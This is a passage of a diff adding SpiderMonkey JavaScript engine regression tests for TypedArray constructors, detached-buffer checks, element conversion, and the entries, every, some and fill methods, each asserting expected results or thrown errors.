+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-iterable-modified-array-iterator.js b/js/src/tests/non262/TypedArray/constructor-iterable-modified-array-iterator.js
new file mode 100644
index 0000000000..7c3192a6a3
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-iterable-modified-array-iterator.js
@@ -0,0 +1,28 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Construct typed array from array with modified array iterator.
+const origIterator = Array.prototype[Symbol.iterator];
+const modifiedIterator = function*() {
+ for (let v of origIterator.call(this)) {
+ yield v * 5;
+ }
+};
+for (let constructor of anyTypedArrayConstructors) {
+ for (let array of [[], [1], [2, 3], [4, 5, 6], Array(1024).fill(0).map((v, i) => i % 24)]) {
+ Array.prototype[Symbol.iterator] = modifiedIterator;
+ let typedArray;
+ try {
+ typedArray = new constructor(array)
+ } finally {
+ Array.prototype[Symbol.iterator] = origIterator;
+ }
+
+ assertEq(typedArray.length, array.length);
+ assertEqArray(typedArray, array.map(v => v * 5));
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-iterable-nonpacked-array.js b/js/src/tests/non262/TypedArray/constructor-iterable-nonpacked-array.js
new file mode 100644
index 0000000000..b9586a57e5
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-iterable-nonpacked-array.js
@@ -0,0 +1,17 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Construct typed array from iterable non-packed array.
+for (let constructor of anyTypedArrayConstructors) {
+ for (let array of [[,], [,,], Array(1024)]) {
+ let typedArray = new constructor(array);
+
+ assertEq(typedArray.length, array.length);
+ let expectedArray = Array(array.length).fill(isFloatConstructor(constructor) ? NaN : 0);
+ assertEqArray(typedArray, expectedArray);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-iterable-not-callable.js b/js/src/tests/non262/TypedArray/constructor-iterable-not-callable.js
new file mode 100644
index 0000000000..824760900a
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-iterable-not-callable.js
@@ -0,0 +1,15 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Construct typed array from object with non-callable [Symbol.iterator] property.
+for (let constructor of anyTypedArrayConstructors) {
+ for (let iterator of [true, 0, Math.PI, "", "10", Symbol.iterator, {}, []]) {
+ assertThrowsInstanceOf(() => new constructor({
+ [Symbol.iterator]: iterator
+ }), TypeError);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-iterable-packed-array-side-effect.js b/js/src/tests/non262/TypedArray/constructor-iterable-packed-array-side-effect.js
new file mode 100644
index 0000000000..3c00af0de2
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-iterable-packed-array-side-effect.js
@@ -0,0 +1,17 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Construct typed array from iterable packed array, array contains object with modifying
+// valueOf() method.
+for (let constructor of anyTypedArrayConstructors) {
+ let array = [
+ 0, 1, {valueOf() { array[3] = 30; return 2; }}, 3, 4
+ ];
+ let typedArray = new constructor(array);
+ assertEq(typedArray.length, array.length);
+ assertEqArray(typedArray, [0, 1, 2, 3, 4]);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-iterable-packed-array.js b/js/src/tests/non262/TypedArray/constructor-iterable-packed-array.js
new file mode 100644
index 0000000000..495c2da496
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-iterable-packed-array.js
@@ -0,0 +1,16 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Construct typed array from iterable packed array.
+for (let constructor of anyTypedArrayConstructors) {
+ for (let array of [[], [1], [2, 3], [4, 5, 6], Array(1024).fill(0).map((v, i) => i % 128)]) {
+ let typedArray = new constructor(array);
+
+ assertEq(typedArray.length, array.length);
+ assertEqArray(typedArray, array);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-iterable-undefined-or-null.js b/js/src/tests/non262/TypedArray/constructor-iterable-undefined-or-null.js
new file mode 100644
index 0000000000..48e5aaa648
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-iterable-undefined-or-null.js
@@ -0,0 +1,22 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Construct typed array from object with undefined or null [Symbol.iterator] property.
+for (let constructor of anyTypedArrayConstructors) {
+ for (let iterator of [undefined, null]) {
+ let arrayLike = {
+ [Symbol.iterator]: iterator,
+ length: 2,
+ 0: 10,
+ 1: 20,
+ };
+ let typedArray = new constructor(arrayLike);
+
+ assertEq(typedArray.length, arrayLike.length);
+ assertEqArray(typedArray, arrayLike);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-iterator-primitive.js b/js/src/tests/non262/TypedArray/constructor-iterator-primitive.js
new file mode 100644
index 0000000000..5a14d7d5a7
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-iterator-primitive.js
@@ -0,0 +1,29 @@
+var BUGNUMBER = 1021835;
+var summary = "Returning non-object from @@iterator should throw";
+
+print(BUGNUMBER + ": " + summary);
+
+let primitives = [
+ 1,
+ true,
+ undefined,
+ null,
+ "foo",
+ Symbol.iterator
+];
+
+for (let ctor of typedArrayConstructors) {
+ for (let primitive of primitives) {
+ let arg = {
+ [Symbol.iterator]() {
+ return primitive;
+ }
+ };
+ assertThrowsInstanceOf(() => {
+ new ctor(arg);
+ }, TypeError);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/TypedArray/constructor-length-too-large.js b/js/src/tests/non262/TypedArray/constructor-length-too-large.js
new file mode 100644
index 0000000000..064b121b1e
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-length-too-large.js
@@ -0,0 +1,30 @@
+// Test that all TypedArray constructor variants throw a RangeError when
+// attempting to create a too large array.
+
+// The maximum typed array length is (currently) limited to
+// `(INT32_MAX / BYTES_PER_ELEMENT) - 1`.
+
+const INT32_MAX = 2**31 - 1;
+
+// 22.2.4.2 TypedArray ( length )
+for (let TA of typedArrayConstructors) {
+ assertThrowsInstanceOf(() => new TA(INT32_MAX), RangeError);
+ assertThrowsInstanceOf(() => new TA(INT32_MAX >> Math.log2(TA.BYTES_PER_ELEMENT)), RangeError);
+}
+
+// Test disabled because allocating a 2**30 Int8Array easily leads to OOMs.
+//
+// 22.2.4.3 TypedArray ( typedArray )
+// const largeInt8Array = new Int8Array(2**30);
+// for (let TA of typedArrayConstructors.filter(c => c.BYTES_PER_ELEMENT > 1)) {
+// assertThrowsInstanceOf(() => new TA(largeInt8Array), RangeError);
+// }
+
+// 22.2.4.4 TypedArray ( object )
+for (let TA of typedArrayConstructors) {
+ assertThrowsInstanceOf(() => new TA({length: INT32_MAX}), RangeError);
+ assertThrowsInstanceOf(() => new TA({length: INT32_MAX >> Math.log2(TA.BYTES_PER_ELEMENT)}), RangeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-non-detached.js b/js/src/tests/non262/TypedArray/constructor-non-detached.js
new file mode 100644
index 0000000000..9ec9329be8
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-non-detached.js
@@ -0,0 +1,13 @@
+for (var constructor of typedArrayConstructors) {
+ var buf = new constructor();
+ detachArrayBuffer(buf.buffer);
+ assertThrowsInstanceOf(() => new constructor(buf), TypeError);
+
+ var buffer = new ArrayBuffer();
+ detachArrayBuffer(buffer);
+ assertThrowsInstanceOf(() => new constructor(buffer), TypeError);
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-not-callable.js b/js/src/tests/non262/TypedArray/constructor-not-callable.js
new file mode 100644
index 0000000000..a3a2f8d1d5
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-not-callable.js
@@ -0,0 +1,10 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertThrowsInstanceOf(() => constructor(), TypeError);
+ assertThrowsInstanceOf(() => constructor(1), TypeError);
+ assertThrowsInstanceOf(() => constructor.call(null), TypeError);
+ assertThrowsInstanceOf(() => constructor.apply(null, []), TypeError);
+ assertThrowsInstanceOf(() => Reflect.apply(constructor, null, []), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-typedarray-species-other-global.js b/js/src/tests/non262/TypedArray/constructor-typedarray-species-other-global.js
new file mode 100644
index 0000000000..a622d9c94b
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-typedarray-species-other-global.js
@@ -0,0 +1,89 @@
+// 22.2.4.3 TypedArray ( typedArray )
+
+// Test [[Prototype]] of newly created typed array and its array buffer, and
+// ensure they are both created in the correct global.
+
+const thisGlobal = this;
+const otherGlobal = newGlobal();
+const ta_i32 = otherGlobal.eval("new Int32Array(0)");
+
+function assertBufferPrototypeFrom(newTypedArray, prototype) {
+ var typedArrayName = newTypedArray.constructor.name;
+
+ assertEq(Object.getPrototypeOf(newTypedArray), thisGlobal[typedArrayName].prototype);
+ assertEq(Object.getPrototypeOf(newTypedArray.buffer), prototype);
+}
+
+const EMPTY = {};
+
+// Test SpeciesConstructor() implementation selects the correct (fallback) constructor.
+const testCases = [
+ // Create the array buffer from the species constructor.
+ { constructor: EMPTY, prototype: otherGlobal.ArrayBuffer.prototype },
+
+ // Use %ArrayBuffer% from this global if constructor is undefined.
+ { constructor: undefined, prototype: ArrayBuffer.prototype },
+
+ // Use %ArrayBuffer% from this global if species is undefined.
+ { constructor: {[Symbol.species]: undefined}, prototype: ArrayBuffer.prototype },
+
+ // Use %ArrayBuffer% from this global if species is null.
+ { constructor: {[Symbol.species]: null}, prototype: ArrayBuffer.prototype },
+];
+
+for (let { constructor, prototype } of testCases) {
+ if (constructor !== EMPTY) {
+ ta_i32.buffer.constructor = constructor;
+ }
+
+ // Same element type.
+ assertBufferPrototypeFrom(new Int32Array(ta_i32), prototype);
+
+ // Different element type.
+ assertBufferPrototypeFrom(new Int16Array(ta_i32), prototype);
+}
+
+
+// Also ensure TypeErrors are thrown from the correct global.
+const errorTestCases = [
+ // Constructor property is neither undefined nor an object.
+ { constructor: null },
+ { constructor: 123 },
+
+ // Species property is neither undefined/null nor a constructor function.
+ { constructor: { [Symbol.species]: 123 } },
+ { constructor: { [Symbol.species]: [] } },
+ { constructor: { [Symbol.species]: () => {} } },
+];
+
+for (let { constructor } of errorTestCases) {
+ ta_i32.buffer.constructor = constructor;
+
+ // Same element type.
+ assertThrowsInstanceOf(() => new Int32Array(ta_i32), TypeError);
+
+ // Different element type.
+ assertThrowsInstanceOf(() => new Int32Array(ta_i32), TypeError);
+}
+
+
+// TypedArrays using SharedArrayBuffers never call the SpeciesConstructor operation.
+if (this.SharedArrayBuffer) {
+ const ta_i32_shared = otherGlobal.eval("new Int32Array(new SharedArrayBuffer(0))");
+
+ Object.defineProperty(ta_i32_shared.buffer, "constructor", {
+ get() {
+ throw new Error("constructor property accessed");
+ }
+ });
+
+ // Same element type.
+ assertBufferPrototypeFrom(new Int32Array(ta_i32_shared), ArrayBuffer.prototype);
+
+ // Different element type.
+ assertBufferPrototypeFrom(new Int16Array(ta_i32_shared), ArrayBuffer.prototype);
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/TypedArray/constructor-undefined-args.js b/js/src/tests/non262/TypedArray/constructor-undefined-args.js
new file mode 100644
index 0000000000..91a557a2c1
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-undefined-args.js
@@ -0,0 +1,14 @@
+// Bug 1040402
+
+var ab = new ArrayBuffer(16);
+
+assertEq(new Int32Array(ab).length, 4);
+assertEq(new Int32Array(ab, undefined).length, 4);
+assertEq(new Int32Array(ab, undefined, undefined).length, 4);
+assertEq(new Int32Array(ab, 0).length, 4);
+assertEq(new Int32Array(ab, 0, undefined).length, 4);
+assertEq(new Int32Array(ab, 4).length, 3);
+assertEq(new Int32Array(ab, 4, undefined).length, 3);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor_bad-args.js b/js/src/tests/non262/TypedArray/constructor_bad-args.js
new file mode 100644
index 0000000000..00bbf884c6
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor_bad-args.js
@@ -0,0 +1,13 @@
+// Bug 1227207
+
+var AB = new ArrayBuffer(12); // Length divides 4
+var BC = new ArrayBuffer(14); // Length does not divide 4
+
+assertThrowsInstanceOf(() => new Int32Array(AB, -1), RangeError); // 22.2.4.5 #8
+assertThrowsInstanceOf(() => new Int32Array(AB, 2), RangeError); // 22.2.4.5 #10
+assertThrowsInstanceOf(() => new Int32Array(BC), RangeError); // 22.2.4.5 #13.a
+assertThrowsInstanceOf(() => new Int32Array(AB, 16), RangeError); // 22.2.4.5 #13.c
+assertThrowsInstanceOf(() => new Int32Array(AB, 0, 4), RangeError); // 22.2.4.5 #14.c
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/detached-array-buffer-checks.js b/js/src/tests/non262/TypedArray/detached-array-buffer-checks.js
new file mode 100644
index 0000000000..55256fb29d
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/detached-array-buffer-checks.js
@@ -0,0 +1,107 @@
+// Nearly every %TypedArray%.prototype method should throw a TypeError when called
+// atop a detached array buffer. Here we check verify that this holds true for
+// all relevant functions.
+let buffer = new ArrayBuffer(32);
+let array = new Int32Array(buffer);
+detachArrayBuffer(buffer);
+
+// A nice poisoned callable to ensure that we fail on a detached buffer check
+// before a method attempts to do anything with its arguments.
+var POISON = (function() {
+ var internalTarget = {};
+ var throwForAllTraps =
+ new Proxy(internalTarget, { get(target, prop, receiver) {
+ assertEq(target, internalTarget);
+ assertEq(receiver, throwForAllTraps);
+ throw "FAIL: " + prop + " trap invoked";
+ }});
+ return new Proxy(throwForAllTraps, throwForAllTraps);
+});
+
+
+assertThrowsInstanceOf(() => {
+ array.copyWithin(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.entries();
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.fill(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.filter(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.find(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.findIndex(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.forEach(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.indexOf(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.includes(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.join(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.keys();
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.lastIndexOf(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.map(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.reduce(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.reduceRight(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.reverse();
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.slice(POISON, POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.some(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.values();
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.every(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.sort(POISON);
+}, TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/element-setting-converts-using-ToNumber.js b/js/src/tests/non262/TypedArray/element-setting-converts-using-ToNumber.js
new file mode 100644
index 0000000000..ae465f0147
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/element-setting-converts-using-ToNumber.js
@@ -0,0 +1,91 @@
+// |reftest| slow
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'element-setting-converts-using-ToNumber.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 985733;
+var summary =
+ "Typed array element-setting should convert to target type using ToNumber "
+ "followed by an element-type-specific truncation function";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+anyTypedArrayConstructors.forEach(function(TypedArray) {
+ var ta = new TypedArray(1);
+ assertEq(ta[0], 0);
+
+ var count = 0;
+ function setToObject()
+ {
+ for (var i = 0; i < 1e4; i++)
+ {
+ assertEq(count, i);
+ ta[0] = { valueOf: function() { count++; return 17; } };
+ }
+ }
+ setToObject();
+ assertEq(count, 1e4);
+ assertEq(ta[0], 17);
+
+ function setToString()
+ {
+ for (var i = 0; i < 2e4; i++)
+ ta[0] = "17.0000000000000000000000000000000000000000000000000000001";
+ }
+ setToString();
+ assertEq(ta[0], 17);
+
+ count = 0;
+ var arrayConstructed =
+ new TypedArray([{ valueOf: function() { count++; return 17; } },
+ "17.0000000000000000000000000000000000000000000000000001"]);
+ assertEq(count, 1);
+ assertEq(arrayConstructed[0], 17);
+ assertEq(arrayConstructed[1], 17);
+
+ count = 0;
+ var arraySet = new TypedArray(5);
+ arraySet.set({ 0: 17,
+ 1: "17.000000000000000000000000000000000000000000000000000",
+ get 2() {
+ return { valueOf: undefined,
+ toString: function() { count++; return 42; } };
+ },
+ get 3() { return true; },
+ set 3(v) { throw "FAIL"; },
+ 4: { valueOf: function() { count++; return 127; } },
+ length: 5 });
+ assertEq(count, 2);
+ assertEq(arraySet[0], 17);
+ assertEq(arraySet[1], 17);
+ assertEq(arraySet[2], 42);
+ assertEq(arraySet[3], 1);
+ assertEq(arraySet[4], 127);
+
+ var bigLen = 1e4;
+ var big = new TypedArray(bigLen);
+ function initBig()
+ {
+ for (var i = 0; i < bigLen; i++)
+ big[i] = (i % 2) ? 3 : { valueOf: function() { return 3; } };
+ }
+ initBig();
+ for (var i = 0; i < bigLen; i++)
+ {
+ assertEq(big[i], 3,
+ "(" + Object.prototype.toString.call(big) + ")");
+ }
+});
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/TypedArray/entries.js b/js/src/tests/non262/TypedArray/entries.js
new file mode 100644
index 0000000000..c55a959e3a
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/entries.js
@@ -0,0 +1,38 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.entries.length, 0);
+ assertEq(constructor.prototype.entries.name, "entries");
+
+ assertDeepEq([...new constructor(0).entries()], []);
+ assertDeepEq([...new constructor(1).entries()], [[0, 0]]);
+ assertDeepEq([...new constructor(2).entries()], [[0, 0], [1, 0]]);
+ assertDeepEq([...new constructor([15]).entries()], [[0, 15]]);
+
+ var arr = new constructor([1, 2, 3]);
+ var iterator = arr.entries();
+ assertDeepEq(iterator.next(), {value: [0, 1], done: false});
+ assertDeepEq(iterator.next(), {value: [1, 2], done: false});
+ assertDeepEq(iterator.next(), {value: [2, 3], done: false});
+ assertDeepEq(iterator.next(), {value: undefined, done: true});
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var otherGlobal = newGlobal();
+ var entries = otherGlobal[constructor.name].prototype.entries;
+ assertDeepEq([...entries.call(new constructor(2))],
+ [new otherGlobal.Array(0, 0), new otherGlobal.Array(1, 0)]);
+ arr = new (newGlobal()[constructor.name])(2);
+ assertEq([...constructor.prototype.entries.call(arr)].toString(), "0,0,1,0");
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.entries.call(invalidReceiver);
+ }, TypeError, "Assert that entries fails if this value is not a TypedArray");
+ });
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/every-and-some.js b/js/src/tests/non262/TypedArray/every-and-some.js
new file mode 100644
index 0000000000..940ac736f9
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/every-and-some.js
@@ -0,0 +1,249 @@
+// Tests for TypedArray#every.
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.every.length, 1);
+
+ // Basic tests.
+ assertEq(new constructor([1, 3, 5]).every(v => v % 2), true);
+ assertEq(new constructor([1, 3, 5]).every(v => v > 2), false);
+ assertEq(new constructor(10).every(v => v === 0), true);
+ assertEq(new constructor().every(v => v > 1), true);
+
+ var arr = new constructor([1, 2, 3, 4, 5]);
+ var sum = 0;
+ var count = 0;
+ assertEq(arr.every((v, k, o) => {
+ count++;
+ sum += v;
+ assertEq(k, v - 1);
+ assertEq(o, arr);
+ return v < 3;
+ }), false);
+ assertEq(sum, 6);
+ assertEq(count, 3);
+
+ // Tests for `thisArg` argument.
+ function assertThisArg(thisArg, thisValue) {
+ // In sloppy mode, `this` could be global object or a wrapper of `thisArg`.
+ assertEq(arr.every(function() {
+ assertDeepEq(this, thisValue);
+ return true;
+ }, thisArg), true);
+
+ // In strict mode, `this` strictly equals `thisArg`.
+ assertEq(arr.every(function() {
+ "use strict";
+ assertDeepEq(this, thisArg);
+ return true;
+ }, thisArg), true);
+
+ // Passing `thisArg` has no effect if callback is an arrow function.
+ var self = this;
+ assertEq(arr.every(() => {
+ assertEq(this, self);
+ return true;
+ }, thisArg), true);
+ }
+ assertThisArg([1, 2, 3], [1, 2, 3]);
+ assertThisArg(Object, Object);
+ assertThisArg(1, Object(1));
+ assertThisArg("1", Object("1"));
+ assertThisArg(false, Object(false));
+ assertThisArg(undefined, this);
+ assertThisArg(null, this);
+
+ // Throw an exception in the callback.
+ var sum = 0;
+ var count = 0;
+ var thrown = false;
+ try {
+ arr.every((v, k, o) => {
+ count++;
+ sum += v;
+ assertEq(k, v - 1);
+ assertEq(o, arr);
+ if (v === 3) {
+ throw "every";
+ }
+ return true
+ })
+ } catch(e) {
+ assertEq(e, "every");
+ thrown = true;
+ }
+ assertEq(thrown, true);
+ assertEq(sum, 6);
+ assertEq(count, 3);
+
+ // There is no callback or callback is not a function.
+ assertThrowsInstanceOf(() => {
+ arr.every();
+ }, TypeError);
+ var invalidCallbacks = [undefined, null, 1, false, "", Symbol(), [], {}, /./];
+ invalidCallbacks.forEach(callback => {
+ assertThrowsInstanceOf(() => {
+ arr.every(callback);
+ }, TypeError);
+ })
+
+ // Callback is a generator.
+ arr.every(function*(){
+ throw "This line will not be executed";
+ });
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var every = newGlobal()[constructor.name].prototype.every;
+ var sum = 0;
+ assertEq(every.call(new constructor([1, 2, 3]), v => sum += v), true);
+ assertEq(sum, 6);
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.every.call(invalidReceiver, () => true);
+ }, TypeError, "Assert that every fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ assertEq(Object.defineProperty(new constructor([1, 2, 3]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).every(() => true), true);
+}
+
+for (let constructor of anyTypedArrayConstructors.filter(isFloatConstructor)) {
+ assertEq(new constructor([undefined, , NaN]).every(v => Object.is(v, NaN)), true);
+}
+
+// Tests for TypedArray#some.
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.some.length, 1);
+
+ // Basic tests.
+ assertEq(new constructor([1, 2, 3]).some(v => v % 2), true);
+ assertEq(new constructor([0, 2, 4]).some(v => v % 2), false);
+ assertEq(new constructor([1, 3, 5]).some(v => v > 2), true);
+ assertEq(new constructor([1, 3, 5]).some(v => v < 0), false);
+ assertEq(new constructor(10).some(v => v !== 0), false);
+ assertEq(new constructor().some(v => v > 1), false);
+
+ var arr = new constructor([1, 2, 3, 4, 5]);
+ var sum = 0;
+ var count = 0;
+ assertEq(arr.some((v, k, o) => {
+ count++;
+ sum += v;
+ assertEq(k, v - 1);
+ assertEq(o, arr);
+ return v > 2;
+ }), true);
+ assertEq(sum, 6);
+ assertEq(count, 3);
+
+ // Tests for `thisArg` argument.
+ function assertThisArg(thisArg, thisValue) {
+ // In sloppy mode, `this` could be global object or a wrapper of `thisArg`.
+ assertEq(arr.some(function() {
+ assertDeepEq(this, thisValue);
+ return false;
+ }, thisArg), false);
+
+ // In strict mode, `this` strictly equals `thisArg`.
+ assertEq(arr.some(function() {
+ "use strict";
+ assertDeepEq(this, thisArg);
+ return false;
+ }, thisArg), false);
+
+ // Passing `thisArg` has no effect if callback is an arrow function.
+ var self = this;
+ assertEq(arr.some(() => {
+ assertEq(this, self);
+ return false;
+ }, thisArg), false);
+ }
+ assertThisArg([1, 2, 3], [1, 2, 3]);
+ assertThisArg(Object, Object);
+ assertThisArg(1, Object(1));
+ assertThisArg("1", Object("1"));
+ assertThisArg(false, Object(false));
+ assertThisArg(undefined, this);
+ assertThisArg(null, this);
+
+ // Throw an exception in the callback.
+ var sum = 0;
+ var count = 0;
+ var thrown = false;
+ try {
+ arr.some((v, k, o) => {
+ count++;
+ sum += v;
+ assertEq(k, v - 1);
+ assertEq(o, arr);
+ if (v === 3) {
+ throw "some";
+ }
+ return false
+ })
+ } catch(e) {
+ assertEq(e, "some");
+ thrown = true;
+ }
+ assertEq(thrown, true);
+ assertEq(sum, 6);
+ assertEq(count, 3);
+
+ // There is no callback or callback is not a function.
+ assertThrowsInstanceOf(() => {
+ arr.some();
+ }, TypeError);
+ var invalidCallbacks = [undefined, null, 1, false, "", Symbol(), [], {}, /./];
+ invalidCallbacks.forEach(callback => {
+ assertThrowsInstanceOf(() => {
+ arr.some(callback);
+ }, TypeError);
+ })
+
+ // Callback is a generator.
+ arr.some(function*(){
+ throw "This line will not be executed";
+ });
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var some = newGlobal()[constructor.name].prototype.some;
+ var sum = 0;
+ assertEq(some.call(new constructor([1, 2, 3]), v => {
+ sum += v;
+ return false;
+ }), false);
+ assertEq(sum, 6);
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.some.call(invalidReceiver, () => true);
+ }, TypeError, "Assert that some fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ assertEq(Object.defineProperty(new constructor([1, 2, 3]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).some(() => false), false);
+}
+
+for (let constructor of anyTypedArrayConstructors.filter(isFloatConstructor)) {
+ assertEq(new constructor([undefined, , NaN]).some(v => v === v), false);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/fill-detached.js b/js/src/tests/non262/TypedArray/fill-detached.js
new file mode 100644
index 0000000000..770067a81f
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/fill-detached.js
@@ -0,0 +1,36 @@
+// Ensure %TypedArray%.prototype.fill checks for detached buffers.
+
+function DetachArrayBufferValue(buffer, value) {
+ return {
+ valueOf() {
+ detachArrayBuffer(buffer);
+ return value;
+ }
+ };
+}
+
+function DetachTypedArrayValue(ta, value) {
+ return {
+ valueOf() {
+ detachArrayBuffer(ta.buffer);
+ return value;
+ }
+ };
+}
+
+// Test when ArrayBuffer is already reified.
+for (let length of [0, 1, 10, 4096]) {
+ let ta = new Int32Array(length);
+ let value = DetachArrayBufferValue(ta.buffer, 123);
+ assertThrowsInstanceOf(() => ta.fill(value), TypeError);
+}
+
+// Test when ArrayBuffer is reified during the fill() call.
+for (let length of [0, 1, 10, 4096]) {
+ let ta = new Int32Array(length);
+ let value = DetachTypedArrayValue(ta, 123);
+ assertThrowsInstanceOf(() => ta.fill(value), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/TypedArray/fill.js b/js/src/tests/non262/TypedArray/fill.js
new file mode 100644
index 0000000000..4349da06a9
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/fill.js
